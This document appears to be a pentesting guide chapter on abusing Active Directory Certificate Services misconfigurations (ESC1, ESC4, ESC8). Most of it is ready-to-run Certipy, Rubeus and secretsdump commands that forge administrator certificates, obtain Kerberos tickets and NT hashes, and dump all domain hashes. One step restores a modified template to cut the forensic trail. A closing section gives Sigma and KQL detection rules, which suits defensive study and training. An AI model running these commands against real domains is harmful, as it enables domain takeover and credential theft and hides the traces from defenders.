Active Directory Certificate Services Abuse

AD CS (Active Directory Certificate Services) is the most undermonitored domain component in most enterprises. Misconfigured certificate templates can be abused to impersonate any domain user — including Domain Admins — without ever touching LSASS or cracking a hash. This chapter covers the ESC1–ESC8 misconfiguration classes from SpecterOps' "Certified Pre-Owned" research, the Certify/Certipy exploitation workflow, and how to turn a certificate into a Kerberos TGT and NT hash.

ADCS Architecture

ESC Misconfiguration Table

ESC1 — Exploiting Enrollee-Supplied SAN

# Step 1: Enumerate vulnerable templates with Certipy:
certipy find -u lowprivuser@corp.local -p 'Password1!' -dc-ip 10.10.5.10
# Look for: [!] Vulnerable: ESC1 in output, or manually check:
#   Enrollment Rights: Domain Users (or Authenticated Users)
#   msPKI-Certificate-Name-Flag: ENROLLEE_SUPPLIES_SUBJECT
#   pKIExtendedKeyUsage: Client Authentication

# Step 2: Request certificate for administrator with spoofed SAN:
certipy req \
    -u lowprivuser@corp.local \
    -p 'Password1!' \
    -dc-ip 10.10.5.10 \
    -ca corp-CA \
    -template UserAuthentication \
    -upn administrator@corp.local   # ← SAN override — the ESC1 abuse

# Output: saves administrator.pfx (certificate + private key)

# Step 3: Use certificate to get TGT:
certipy auth \
    -pfx administrator.pfx \
    -dc-ip 10.10.5.10
# Output: administrator.ccache (Kerberos TGT) + NT hash via PKINIT/U2U

# Step 4: Use NT hash directly:
secretsdump.py -hashes :<NT_hash> administrator@dc01.corp.local

ESC4 — Modify Vulnerable Template to Create ESC1

# If low-priv user has WriteDACL or WriteProperty on a template object in AD:
# 1. Grant yourself Certificate-Enrollment and GenericAll on the template
# 2. Modify the template: set ENROLLEE_SUPPLIES_SUBJECT flag
# 3. Add Client Authentication EKU
# 4. Exploit as ESC1
# 5. Restore original template after exploitation to reduce forensic footprint

# Certipy ESC4 one-shot:
certipy template \
    -u lowprivuser@corp.local -p 'Password1!' \
    -dc-ip 10.10.5.10 \
    -template VulnerableTemplate \
    -save-old          # saves original config for later restoration
# (certipy automatically sets ENROLLEE_SUPPLIES_SUBJECT + Client Auth)

certipy req \
    -u lowprivuser@corp.local -p 'Password1!' \
    -dc-ip 10.10.5.10 -ca corp-CA \
    -template VulnerableTemplate \
    -upn administrator@corp.local

# Restore:
certipy template \
    -u lowprivuser@corp.local -p 'Password1!' \
    -dc-ip 10.10.5.10 \
    -template VulnerableTemplate \
    -configuration VulnerableTemplate.json   # the saved original

ESC8 — NTLM Relay to Web Enrollment

# ESC8 covered in depth in Chapter 149 (NTLM Relay).
# Here: the certificate side — what to do with the issued DC certificate.

# After ntlmrelayx --adcs produces base64 PFX:
# 1. Decode and save:
echo -n "<base64_pfx>" | base64 -d > dc01.pfx

# 2. Request TGT for DC machine account:
certipy auth -pfx dc01.pfx -dc-ip 10.10.5.10
# or with Rubeus:
Rubeus.exe asktgt /user:DC01$ /certificate:dc01.pfx /password:'' /ptt

# 3. DCSync with machine account TGT:
secretsdump.py -k -no-pass DC01.corp.local
# → dumps all domain hashes

Certificate → TGT → NT Hash (PKINIT + U2U)

Detection Engineering

title: ADCS ESC1 — Certificate Issued with Non-Owned SAN
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID: 4887           # Certificate Services — certificate issued
    RequestAttributes|contains: 'SAN:'
  filter_self:
    # RequesterName should match the SAN UPN — if they differ, it's ESC1 abuse
    SubjectUserName|contains: 'administrator'   # tune for your environment
  condition: selection AND NOT filter_self
level: high
tags: [attack.privilege_escalation, T1649]

title: ADCS — Certificate Enrollment for Privileged Account by Low-Privilege User
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID: 4886           # Certificate Services — certificate request received
    RequestedSubjectName|contains:
      - 'Administrator'
      - 'krbtgt'
      - 'DC01$'
  condition: selection
level: high

-- MDE KQL: PKINIT auth (cert-based TGT) for privileged account from workstation
DeviceLogonEvents
| where LogonType == "Network"
| where Protocol == "Kerberos"
| where AccountName in~ ("administrator", "krbtgt")
| where DeviceType == "Workstation"
| project Timestamp, DeviceName, AccountName, RemoteDeviceName,
          RemoteIP, AdditionalFields

Q&A